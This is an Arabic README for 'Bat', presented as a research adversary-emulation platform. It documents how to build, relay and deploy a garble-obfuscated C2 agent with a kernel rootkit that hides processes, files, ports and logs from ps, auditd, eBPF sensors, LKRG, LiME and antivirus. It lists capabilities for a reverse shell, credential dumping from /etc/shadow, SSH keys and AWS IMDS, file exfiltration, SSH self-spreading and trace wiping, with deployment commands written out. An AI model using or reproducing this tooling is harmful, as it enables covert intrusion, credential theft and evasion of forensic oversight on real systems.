
BAT هو نموذج تهديد خصم واقعي ومتطور لنظامي Linux وWindows. إنه ليس إطار عمل C2 وليس rootkit. إنه منصة محاكاة تهديدات متكاملة تدمج اتصالات C2، ووحدات rootkit خفية على مستوى النواة، والتهرب من مساحة المستخدم، وتصعيد الامتيازات، والاستمرارية، وحقن العمليات، وجمع بيانات الاعتماد، والاستخراج، والحركة الجانبية في خصم واحد متماسك. الهدف التصميمي هو أن يكون التهديد الأكثر تطورًا وواقعية لنظام Linux يمكن تحقيقه في 2026، بغض النظر عما يلتقطه أي نظام كشف حاليًا.
إنه الجانب الخصم من زوج بحثي. يتطور إطار Aura لاكتشاف Bat، ويتطور Bat للتهرب من Aura. الخصم لا يُقيَّد أبدًا بواسطة نظام الكشف.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. الإعداد```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
قم بتوليد سر: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
الملفات الثنائية تستقر في `bin/`.
### 4. تشغيل المرحّل```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
انشر وكيلًا على الهدف:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
يظهر الوكيل في bat-server بالشكل <agentID>@<hostname> خلال فترة اتصال واحدة (الافتراضي 30 ثانية).
طبقة التخفي في النواة (bat-stealth.ko، المصدر في kperf-qos/) مبنية مباشرةً على Singularity، وهو إطار بحث متقدم لراوتكيتات النواة. تم نقل وتكييف أربع وحدات أساسية:
bpf_hook: يعترض استدعاء bpf(2) وجميع بدائيات اتصال eBPF. لا يتلقى أي مستشعر eBPF أي بيانات تتبع للـ PIDs المخفية. التكييف: ARCH_SYS("bpf") يحل محل __x64_sys_bpf الخاص بمعمارية x86 فقط؛ تمت إزالة __ia32_sys_bpf لمعمارية ARM64؛ تم استبدال HIDDEN_PORT بمتغير عام قابل للضبط عبر sysfs.
hiding_fs: إخفاء كامل لنظام الملفات: تصفية getdents64/getdents، تعديل عدد الروابط nlink في stat/statx/newfstatat، حظر /proc/<pid> في openat/access/faccessat، وحظر chdir وreadlink. تم دمجها من خمس وحدات في Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). التكييف: وحدات ماكرو تحل محل الوصول المباشر للسجلات؛ تم توسيع لدعم المضبوطة وقت التشغيل.
hide_module: يزيل bat-stealth.ko من جميع قوائم وحدات النواة. التوسيع: Singularity يحفظ list.prev فقط؛ هذا الإصدار يحفظ كلاً من list.prev وlist.next ويسمّم كليهما لمنع العبور في أي اتجاه. تمت إضافة module_unhide() للإزالة القابلة للعكس، وهو أمر يتطلبه K-99 قبل أن يتمكن delete_module(2) من تحديد موقع الوحدة بالاسم.
lkrg_bypass: يكتم إنفاذ LKRG للعمليات المخفية: يعترض تسليم الإشارات لمنع SIGKILL عن المهام المخفية، ويعترض vprintk_emit لإسقاط رسائل سجل LKRG، ويعطّل التحقق من UMH أثناء تنفيذ الوكيل. تم نقله مباشرة دون تغييرات معمارية.
الوحدات التالية طُوّرت بشكل مستقل:
become_root: اعتراض الإشارة 59 التي تستدعي commit_creds(prepare_kernel_cred(NULL)) لمنح uid=0 (K-03)selfdefense: يحجب جمع الذاكرة عبر LiME، يخفي إدخالات kallsyms، يحجب kprobes على رموز الوكيل، ويعيد إخفاء الوحدة عند أي محاولة تعدادaudit: يكتم أحداث auditd للـ PIDs المخفيةsysrq_hook: يعترض SysRq-T لاستبعاد العمليات المخفية من تفريغات المهامtaskstats_hook: يصفّي استجابات NETLINK taskstats للـ PIDs المخفيةreset_tainted + clear_taint_dmesg: يصفّر /proc/sys/kernel/tainted ويصفّي أسطر dmesg التي تحتوي على أدلة تحميل الوحدةhooks_write: يعترض جميع مسارات الكتابة في النواة (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) لإسقاط إدخالات السجل المطابقة لنصوص الوكيل قبل وصولها إلى syslog أو journaldpid_manager: نقطة تتبع fork للحفاظ على مجموعة الـ PIDs المخفية عبر العمليات الفرعيةالمكدس الكامل يجعل الوكيل وجميع آثاره غير مرئية لـ: ps, top, ss, netstat, lsof, والتنقل في نظام الملفات عبر المسارات المخفية، وlsmod, وsysfs, وkallsyms, وauditd, وجميع مستشعرات eBPF, وLKRG, وLiME, والتحليل الجنائي عبر SysRq.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| المكوّن | الدور |
|---|---|
| `bat-agent` | وكيل. يُرسل إشارات beacon وينفّذ TTPs. مُعمّى عبر Garble. |
| `bat-server` | وحدة تحكم المشغِّل. CLI تفاعلية. يدير جميع الوكلاء. |
| `netshell` | ثنائي توصيل. يبدو كأداة نظام؛ وهو وكيل كامل. |
| `bat-rootkit.so` | روتكيت في فضاء المستخدم عبر LD_PRELOAD. يخفي الملفات وPIDs والمنافذ والمتغيرات البيئية. |
| `bat-stealth.ko` | طبقة تمويه في النواة (مبنية على Singularity). |
| `kcc-server` | خدمة ترحيل. يُجمّع `bat-stealth.ko` عند الطلب للنواة قيد التشغيل على الهدف. |
| `relay/` | البنية التحتية للترحيل: nginx وTLS وsetup والمزامنة وسكربتات التوصيل. |
---
## الدفاعات التي تم تجاوزها
| الفئة | الدفاع | آلية التجاوز |
|---|---|---|
| مراقبة العمليات | `ps` / `top` / سرد `/proc` | خطاف `getdents64` يزيل إدخالات PIDs الخاصة بالوكيل من procfs قبل أن يقرأها فضاء المستخدم |
| مراقبة العمليات | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | خطاف `filldir` يفلتر بادئات PID من جميع نتائج readdir |
| نظام الملفات | `ls` / `find` عبر ملفات ودلائل الوكيل | `hiding_fs.c`: خطافات `getdents64`/`getdents` على المسارات المستهدفة؛ يتم ضبط nlink الخاص بـ stat ليطابق ذلك |
| نظام الملفات | كشف `lsattr` / `chattr` | `hiding_fs.c`: اعتراض `ioctl` على مسارات ملفات الوكيل |
| نظام الملفات | سرد `/proc/modules` / `lsmod` | `hiding_module.c`: يزيل إدخال `bat-stealth.ko` من جميع قوائم الوحدات في sysfs وprocfs |
| الشبكة | عرض المنافذ عبر `ss` / `netstat` | `hiding_net.c`: خطافات `tcp4_seq_show`/`tcp6_seq_show` تزيل إدخالات منفذ C2 من المخرجات |
| الشبكة | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: اعتراض قراءة seq_file يُسقط صفوف مقابس C2 |
| السجلات | مسار الكتابة إلى `syslog` / `journald` | `hooks_write.c`: اعتراض `write`/`splice`/`sendfile`/`tee`؛ تُتجاهل إدخالات السجل المطابقة لسلاسل الوكيل داخل النواة |
| السجلات | مسار الكتابة غير المتزامن في `io_uring` | `hooks_write.c`: اعتراض `io_uring_enter`/`io_uring_enter2`؛ مع تغطية مسار التوافق ia32 |
| أمان النواة | `rkhunter` / `chkrootkit` | الوحدة مخفية عن `/proc/modules`؛ ملفات الوكيل مخفية عن نظام الملفات؛ تم التحقق من عدم وجود أي تحذيرات |
| أمان النواة | ClamAV | تعمية Garble `-literals -tiny` + عدم وجود سلاسل نصية واضحة مدمجة؛ تم التحقق من 0 اكتشافات (DB 2026-04-20) |
| EDR / eBPF | مستشعرات مبنية على eBPF تقرأ `/proc` | خطافات الإخفاء تعترض على مستوى النواة قبل إنتاج أحداث eBPF ring buffer |
| فحص النواة | `ftrace` / `kprobes` على رموز الوكيل | وحدة `selfdefense` تمنع إرفاق kprobe بعناوين دوال الوكيل |
| الأدلة الجنائية للنواة | الحصول على الذاكرة عبر LiME | `selfdefense` يمنع تحميل وحدة LiME والوصول إلى جهاز الذاكرة الخام |
| الأدلة الجنائية للنواة | تفريغ المهام عبر SysRq-T | `sysrq_hook` يستبعد العمليات المخفية من قائمة المهام التي يكتبها SysRq-T |
| الأدلة الجنائية للنواة | NETLINK taskstats | `taskstats_hook` يفلتر استجابات taskstats NETLINK الخاصة بـ PIDs المخفية |
| تكامل النواة | إنفاذ LKRG | `lkrg_bypass` يكبت تسليم LKRG لإشارة `SIGKILL` ويُسقط رسائل سجل LKRG |
| نظام التدقيق | تسجيل استدعاءات النظام عبر `auditd` | وحدة `audit` تكبت أحداث التدقيق لجميع PIDs المخفية على طبقة تدقيق النواة |
---
## خطافات استدعاءات النظام
يتم تثبيت جميع الخطافات بواسطة `bat-stealth.ko` عبر ftrace عند التحميل. تُضمَّن إدخالات ia32 فقط على x86_64 (`#ifdef ARCH_SYS_IA32`).
| استدعاء النظام / الدالة | الوحدة | الغرض |
|---|---|---|
| `getdents64` | `hiding_procs.c` | إخفاء PIDs الخاصة بالوكيل من قوائم دلائل `/proc` |
| `getdents` | `hiding_procs.c` | توافق 32-بت: إخفاء PIDs الخاصة بالوكيل |
| `filldir` (readdir) | `hiding_procs.c` | مرشح إضافي لإدخالات proc للمستدعين القدامى عبر readdir |
| `getdents64` | `hiding_fs.c` | إخفاء ملفات الوكيل من قوائم الدلائل |
| `getdents` | `hiding_fs.c` | توافق 32-بت: إخفاء ملفات الوكيل |
| `ia32_getdents64` | `hiding_fs.c` | استدعاء نظام متوافق مع ia32 |
| `ia32_getdents` | `hiding_fs.c` | استدعاء نظام متوافق مع ia32 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | اعتراضات stat بإصدار 32-بت للمسارات المخفية |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | اعتراضات open/access بإصدار 32-بت |
| `ia32_readlink` | `hiding_fs.c` | اعتراض readlink بإصدار 32-بت |
| `ia32_chdir` | `hiding_fs.c` | اعتراض chdir بإصدار 32-بت |
| `ioctl` | `hiding_fs.c` | اعتراض ioctl الخاص بـ `lsattr`/`chattr` على مسارات الوكيل |
| `tcp4_seq_show` | `hiding_net.c` | إخفاء إدخالات منفذ C2 من `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | إخفاء إدخالات منفذ C2 من `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | تصفير التليمترية للـ PIDs المخفية في جميع برامج eBPF |
| `write` | `hooks_write.c` | إسقاط إدخالات السجل التي تحتوي على سلاسل الوكيل قبل وصولها إلى syslog |
| `splice` | `hooks_write.c` | نفس الاعتراض عبر مسار splice |
| `sendfile` | `hooks_write.c` | نفس الاعتراض عبر مسار sendfile |
| `tee` | `hooks_write.c` | نفس الاعتراض عبر مسار tee |
| `io_uring_enter` | `hooks_write.c` | اعتراض الكتابة غير المتزامنة عبر io_uring |
| `io_uring_enter2` | `hooks_write.c` | اعتراض الكتابة غير المتزامنة عبر io_uring (استدعاء النظام v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | توريث الحالة المخفية عبر `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | إسقاط رسائل سجل النواة الخاصة بـ LKRG |
| `finit_module` / `init_module` | الوكيل (محمّل kcc) | تحميل وحدة نواة بدون ملف عبر `memfd_create` + واصف ملف مجهول |
---
## مرجع TTP
| TTP | الاسم | الوصف |
|---|---|---|
| 1 | masquerade | إعادة تسمية comm الخاص بالعملية إلى `kworker/0:1` (أو مخصص) |
| 2 | reverse_shell | شل TCP عكسي إلى relay:4445 |
| 3 | memory_rwx | تخصيص ذاكرة RWX مجهولة (اختبار كشف) |
| 4 | shell_exec | تنفيذ أمر شل عشوائي |
| 5 | beacon | فرض إجراء فحص إضافي فوري |
| 6 | persist | تثبيت الثبات (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | جمع `/etc/shadow` وسجل bash والأسرار البيئية وAWS IMDS |
| 9 | exec_chain | إنشاء سلسلة عمليات (اختبار كشف) |
| 10 | install_rootkit | نشر `bat-rootkit.so` عبر `/etc/ld.so.preload` |
| 11 | inject + exit | حقن خيوط beacon + rawsock في عملية حية، ثم الخروج الذاتي |
| 20 | network_recon | جدول ARP + فحص TCP :22 للشبكة الفرعية المحلية |
| 21 | ssh_harvest | جمع المفاتيح الخاصة وknown_hosts وauthorized_keys والملفات الإعدادية |
| 22 | lateral_move | نسخ الذات عبر SCP إلى المضيف المكتشف عبر SSH وتنفيذها بشكل منفصل |
| 23 | creddump_full | جمع موسّع للاعتمادات + بصمة البيئة |
| 30 | exfil-file | قراءة ملف عشوائي وإرسال أجزاء base64 عبر قناة beacon |
| 31 | exfil-dir | ضغط دليل بـ Tar+gzip وتسريبه عبر قناة beacon |
| 32 | exfil-auto | مراقبة المسارات المكوَّنة والتسريب التلقائي عند التغيير |
| 34 | netmap | فحص CIDR /16 للمضيفات النشطة والمنافذ المفتوحة |
| 35 | autospread | حركة جانبية عبر SSH إلى المضيفات المكتشفة باستخدام المفاتيح المجمَّعة؛ ينسخ الوكيل وينفذه بشكل منفصل |
| 36 | smbprobe | اختبار منفذ SMB (:445) لمرشحي الحركة الجانبية |
| 99 | kill | إنهاء ذاتي صامت |
| 222 | destruct | إزالة جميع الآثار ومسح الذاكرة والخروج |
| 1003 | K-03 (تصعيد الصلاحيات) | إشارة النواة 59 تُطلق `commit_creds` إلى uid=0 |
| 1099 | K-99 (إلغاء التحميل) | إلغاء تحميل `bat-stealth.ko` على مرحلتين عبر sysfs + استدعاء `delete_module(2)` الخام |
أوامر وحدة التحكم (في موجه `bat-server`):
- `kill`: TTP 99 لجميع الوكلاء
- `destruct`: TTP 222 لجميع الوكلاء
- `destruct @<agentID>`: مسح موجَّه
---
### KCC: كاش تجميع النواة
يتم تجميع `bat-stealth.ko` عند الطلب للنواة قيد التشغيل على الهدف. يقوم الوكيل بأتمتة التدفق الكامل في وقت التشغيل؛ لا حاجة لوحدة مبنية مسبقًا لكل هدف:
1. **اكتشاف النواة**: يقرأ الوكيل `/proc/version` للحصول على سلسلة `uname -r` الدقيقة.
2. **طلب التجميع**: يرسل الوكيل سلسلة النواة إلى `kcc-server` (`:9444`) عبر POST مع طلب موقّع بـ HMAC.
3. **يقوم kcc-server بالتجميع**: يبني الخادم `bat-stealth.ko` مقابل رؤوس النواة المطابقة ويخزّن النتيجة مؤقتًا حسب تجزئة النواة.
4. **استلام وحدات البايت للوحدة**: يتم إرجاع `.ko` المترجم في نص الاستجابة.
5. **تحميل بدون ملف**: ينشئ الوكيل ملف ذاكرة مجهول (`memfd_create`، استدعاء النظام 279 على x86_64 / 319 على ARM64)، ويكتب وحدات بايت الوحدة، ثم يستدعي `finit_module` (استدعاء النظام 273 / 313) بسلسلة معاملات فارغة.
6. **التسجيل**: تسجّل الوحدة جميع الخطافات وتخفي نفسها عن sysfs/procfs في غضون ميلي ثانية.
لا تتم كتابة أي ملف `.ko` على القرص في أي مرحلة. تختفي الوحدة من `/proc/modules` فور التحميل.
**الحد الأدنى للنواة:** 6.x (استكشاف K-00؛ يتخطى الوكيل التحميل الخفي على النوى الأقدم).
**تم الاختبار على:** 6.1.0 (Debian 12 / Ubuntu LTS)، 6.8.0 (Ubuntu 22.04 GCP).
---
## ملفات البناء```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
جميع ملفات التعريف تتطلب SECRET=. يمكنك تجاوز عنوان IP الخاص بالمرحّل باستخدام RELAY=<ip>.
SHA-256(secret)؛ يتم رفض الطلبات المعاد إرسالها من جانب الخادم.-literals في وقت الترجمة. تم تجنّب -X ldflags عمدًا (قيم ldflags تظهر كنص صريح في الملفات الثنائية).bat-server.relay/static/ هي الواجهة العامة للمرحّل. يأتي الإصدار مع عنصر نائب فارغ. استبدل index.html والصفحات الداعمة بهوية الغلاف الخاصة بك قبل تشغيل sync.sh. تستخدم نصوص التسليم (static/i, static/api/setup, static/api/v1/index.json) __CDN_DOMAIN__ كعنصر نائب؛ عيّن CDN_DOMAIN= في build.env وسيقوم sync.sh باستبداله تلقائيًا. حدّث relay/nginx/bat.conf بالنطاق الحقيقي في server_name ومسارات شهادات TLS قبل أول نشر لـ nginx.
يقوم ملف تعريف CDN بتوجيه حركة مرور الوكيل عبر طبقة بروكسي طرفية. يتصل الوكيل بمجال CDN عبر HTTPS؛ يمرّر البروكسي الحركة إلى المستمع المحلي للمرحّل عبر نفق SSH العكسي. من منظور الشبكة، تصدر كل حركة مرور الوكيل من نطاقات IP الطرفية لـ CDN بدلاً من VPS الخاص بالمرحّل.
---
عندما يقوم هدف بجلب الملف الثنائي للوكيل من نقطة نهاية CDN، يتم إرسال تنبيه تسليم فورًا إلى قناة تيليغرام مهيأة. يتضمن الإشعار: عنوان IP المصدر، الطابع الزمني، مسار الطلب، البنية المكتشفة (x86_64/arm64)، حجم الملف، سلسلة User-Agent، ومعرّف حافة CDN.
يقوم البرنامج الخفي delivery-alert.service بتتبّع سجل وصول nginx وينطلق عند أي وصول إلى مسار التنزيل الوهمي (honey). قم بإعداده أثناء الإقلاع الأولي للمرحّل:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
تُكتب بيانات الاعتماد إلى `/etc/bat/tg.env` على المُرحِّل وتُعمَّم على جميع أهداف المزامنة عبر `sync.sh --tg`. تبدأ الخدمة تلقائيًا وتستمر في العمل بعد إعادة تشغيل المُرحِّل.
---
## إخلاء مسؤولية
تم تطوير هذا البرنامج حصريًا لأغراض أبحاث الأمن المصرح بها، ومحاكاة الخصوم في بيئات المختبرات الخاضعة للرقابة، وتطوير قدرات الكشف والاستجابة. يحتوي على تطبيقات وظيفية لتقنيات هجومية تشمل أحصنة الجذور على مستوى النواة، وحقن العمليات، وجمع بيانات الاعتماد، والحركة الجانبية. يُعد نشر هذا البرنامج على أي نظام دون إذن كتابي صريح من مالك النظام أمرًا غير قانوني بموجب قوانين الاحتيال وإساءة استخدام الحاسوب المعمول بها في معظم الدول.
لا يتحمل المؤلفون أي مسؤولية عن أي أضرار أو عواقب قانونية أو ضرر ناتج عن الاستخدام غير المصرح به أو المهمل أو الخبيث لهذا البرنامج. باستخدامك لهذا البرنامج، فأنت تقرّ بأنك مختص أمني مؤهل تعمل ضمن نطاق قانوني مصرح به، وأن المسؤولية القانونية والأخلاقية الكاملة عن استخدامه تقع عليك وحدك.
لا يجوز إعادة توزيع هذا البرنامج أو نشره أو الكشف عنه لأي طرف ثالث دون موافقة كتابية مسبقة.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | التقنية | تنفيذ Bat |
|---|
| T1036.005 | التنكر: مطابقة اسم شرعي | TTP 1: prctl(PR_SET_NAME) إلى kworker/0:1 |
| T1055 | حقن العمليات | TTP 11: حقن خيط shellcode + rawsock في عملية حية |
| T1205.001 | إشارات المرور (حزمة سحرية) | تشغيل UDP/ICMP يوقظ الوكيل من السكون |
| T1071.001 | C2 عبر بروتوكولات الويب | اتصالات HTTPS عبر المنفذ :443 أو :9443 |
| T1573.001 | قناة مشفرة: تناظرية | اتصالات مُوثَّقة بـ HMAC-SHA256 عبر TLS |
| T1090.004 | وكيل: انتحال النطاق (Domain Fronting) | ملف تعريف CDN يوجّه حركة مرور الوكيل عبر طبقة وكيل طرفية |
| T1574.006 | اختطاف التنفيذ: LD_PRELOAD | TTP 10: bat-rootkit.so عبر /etc/ld.so.preload |
| T1014 | روت كيت | bat-stealth.ko: يخفي الـ PIDs والمنافذ والملفات والوحدة ونفسه |
| T1562.001 | إضعاف الدفاعات: تعطيل الأدوات | bpf_hook يعمي مستشعرات eBPF؛ lkrg_bypass يعطّل LKRG |
| T1562.012 | إضعاف الدفاعات: تعطيل تدقيق لينكس | وحدة audit تكتم أحداث auditd للـ PIDs المخفية |
| T1068 | تصعيد الامتيازات عبر الاستغلال | K-03: الإشارة 59 تُطلق commit_creds إلى uid=0 |
| T1543.002 | إنشاء/تعديل عملية نظام: Systemd | TTP 6: استمرارية عبر وحدة systemd |
| T1053.003 | مهمة مجدولة: Cron | TTP 6: استمرارية عبر crontab |
| T1070.002 | مسح سجلات لينكس | clear_taint_dmesg يصفّي dmesg؛ reset_tainted يصفّر علامة taint؛ hooks_write يُسقط إدخالات السجل داخل النواة |
| T1070.004 | إزالة المؤشرات: حذف الملفات | TTP 222 destruct: مسح كامل للآثار |
| T1003 | تفريغ بيانات الاعتماد | TTP 7/23: /etc/shadow، سجل الأوامر، أسرار البيئة |
| T1552.004 | بيانات اعتماد غير محمية: مفاتيح خاصة | TTP 21: مفاتيح SSH، known_hosts، الإعدادات |
| T1552.005 | بيانات وصفية لمثيل سحابي | TTP 23: جمع بيانات اعتماد AWS IMDS |
| T1018 | اكتشاف الأنظمة البعيدة | TTP 20/34: تعداد ARP + فحص شبكة /16 CIDR |
| T1046 | فحص خدمات الشبكة | TTP 20/34: فحص منافذ TCP للأنظمة المكتشفة |
| T1021.004 | حركة جانبية عبر SSH | TTP 22/35: نسخ نفسه عبر SCP إلى النظام المكتشف وتنفيذ منفصل |
| T1078 | حسابات صالحة | TTP 22/35: الحركة الجانبية تستخدم مفاتيح SSH المُجمَّعة |
| T1048 | سرقة البيانات عبر بروتوكول بديل | TTP 30/31/32: سرقة ملفات ومجلدات عبر قناة الاتصال |
| T1059.004 | تنفيذ أوامر يونكس شل | TTP 4: تنفيذ أوامر عشوائية |
| T1027 | ملفات أو معلومات مُعمّاة | garble -literals -tiny -seed=random؛ ترميز الإعدادات XOR(0x5A) |
| T1620 | تحميل كود انعكاسي | TTP 11: تنفيذ shellcode في مساحة عنوان العملية المستهدفة؛ تحميل bat-stealth.ko عبر memfd_create |